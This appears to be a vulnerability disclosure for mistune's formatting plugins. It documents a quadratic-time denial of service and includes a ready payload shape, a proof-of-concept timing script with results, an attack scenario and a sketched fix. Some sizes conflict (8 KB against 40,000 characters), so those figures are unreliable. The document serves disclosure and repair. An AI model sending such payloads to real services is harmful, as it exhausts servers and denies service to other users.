Mistune plugins/formatting: quadratic-time parsing on long runs of `~~x~~`, `==x==`, and `^^x^^` markers (strikethrough / mark / insert)

Type: Algorithmic-complexity denial of service. A run of N closed pairs ~~x~~~~x~~... (or the analogous ==x== for mark, ^^x^^ for insert) causes O(N²) work in the formatting parser. With the strikethrough, mark, or insert plugin enabled, an 8 KB input pegs the CPU for ~4 seconds; 16 KB → ~17 seconds.
File: src/mistune/plugins/formatting.py, lines 13-15 (the _STRIKE_END / _MARK_END / _INSERT_END patterns and their per-position scan).
Root cause: for each opening ~~/==/^^ the parser scans forward for the matching close pattern. The scan itself uses a bounded regex, but the parser tries the close-scan at every potential start position. For input shaped like ~~x~~ repeated N times, every ~~ is examined as a possible start, each scan covers up to the end of input. Total work is O(N²). Default config without these plugins handles the same input in linear time (4 ms for 4000 reps), confirming the cost is in the formatting plugin's per-marker scan, not in core parsing.

File: src/mistune/plugins/formatting.py, lines 12-16.

 1_STRIKE_END = re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\~|[^\s~])~~(?!~)")
 2_MARK_END = re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\=|[^\s=])==(?!=)")
 3_INSERT_END = re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\^|[^\s^])\^\^(?!\^)")
 4# Each pattern is scanned forward from every start position fired by the
 5# corresponding inline rule. The end-pattern itself is bounded; the cost
 6# comes from the surrounding parser invoking the scan at every '~~' / '==' / '^^'
 7# token in the input, giving N starts × O(N) per scan = O(N^2) total.

Why it's wrong: the same algorithmic-complexity flaw class as [ / [a parsing in core: a per-token retry loop without memoisation of failed positions. Each formatting marker is tried as both a potential start and as a continuation. A linear-pass delimiter-stack algorithm (matching how commonmark-py and markdown-it-py handle emphasis) would do this work in O(N) total. The bounded regex on each individual scan does not bound the parser-level repetition.

1. Application uses mistune to render user-supplied markdown and has any of the formatting plugins enabled (plugins=['strikethrough'], ['mark'], ['insert'], or any superset). These plugins are commonly enabled because GitHub-flavoured-Markdown compatibility requires ~~strikethrough~~ and many editors emit ==highlighting== and ^^underline^^ shortcuts.
2. Attacker submits an 8 KB markdown payload of the form ~~x~~~~x~~~~x~~... (40 000 characters of ~~x~~ repeated 8000 times, or the analogous shape with == / ^^).
3. Server calls mistune.create_markdown(plugins=['strikethrough'])(payload). CPU pegs for ~4 seconds; 16 KB → ~17 seconds; 32 KB → ~70 seconds. Pure CPU cost, no significant memory growth.
4. Repeating the request floods the worker pool. On a single-thread WSGI handler this is one request per outage; on a thread pool, a small number of concurrent attackers exhausts capacity.

Severity: sec-high. Network-reachable, no authentication, predictable scaling, single-payload primitive. Only requires a user-supplied markdown sink and a formatting plugin enabled — both are common.
Attacker capability: small input → large CPU. Doubling input size quadruples CPU time. Sustained requests deny service to other users.
Preconditions: application uses mistune with any of strikethrough, mark, or insert plugins enabled. Default config does NOT enable these (so the attack only fires against the substantial deployed population that turns them on for GFM/markdown-extra compatibility).
Differential: PoC-verified against mistune@3.2.1:

 1import mistune, time
 2md = mistune.create_markdown(plugins=['strikethrough'])
 3for n in [500, 1000, 2000, 4000, 8000]:
 4    s = '~~x~~' * n
 5    t = time.time()
 6    md(s)
 7    print(f'  ~~x~~ * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')
 8 
 9# Output (Python 3.13, Linux, 2.5GHz CPU):
10#   ~~x~~ *  500  (2500b):    19ms
11#   ~~x~~ * 1000  (5000b):    71ms
12#   ~~x~~ * 2000 (10000b):   272ms
13#   ~~x~~ * 4000 (20000b):  1090ms
14#   ~~x~~ * 8000 (40000b):  4302ms
15 
16# Identical scaling for `==x==` (mark) and `^^x^^` (insert):
17md = mistune.create_markdown(plugins=['mark'])
18md('==x==' * 4000)   # ~1100ms
19md = mistune.create_markdown(plugins=['insert'])
20md('^^x^^' * 4000)   # ~1080ms
21 
22# Without the plugin, the same input parses in linear time:
23md = mistune.create_markdown()  # no plugins
24md('~~x~~' * 4000)               # 4ms (1000x faster)

The patched build (with the suggested fix below — either a delimiter-stack rewrite or a hard cap on the number of unmatched markers tracked) keeps the time linear in N.

The minimal fix is to cap the number of simultaneously-tracked unmatched markers, treating extras as literal text. The proper fix is a single-pass delimiter-stack algorithm matching the CommonMark reference implementation. Surgical patch:

 1--- a/src/mistune/plugins/formatting.py
 2+++ b/src/mistune/plugins/formatting.py
 3@@ ... in the parse_strikethrough / parse_mark / parse_insert functions
 4+    # Bound the number of open markers the parser will track concurrently.
 5+    # Inputs with more than this many open ~~ / == / ^^ in flight are
 6+    # almost certainly adversarial; CommonMark gives no semantics to
 7+    # deeply nested unmatched markers.
 8+    MAX_OPEN_MARKERS = 100
 9+    if open_marker_count > MAX_OPEN_MARKERS:
10+        # treat remaining markers as literal text, do not invoke the
11+        # forward-scan to find a close
12+        ...

A regression test should assert that md('~~x~~' * 50_000) completes in under 1 second. The same fix shape applies to _MARK_END and _INSERT_END.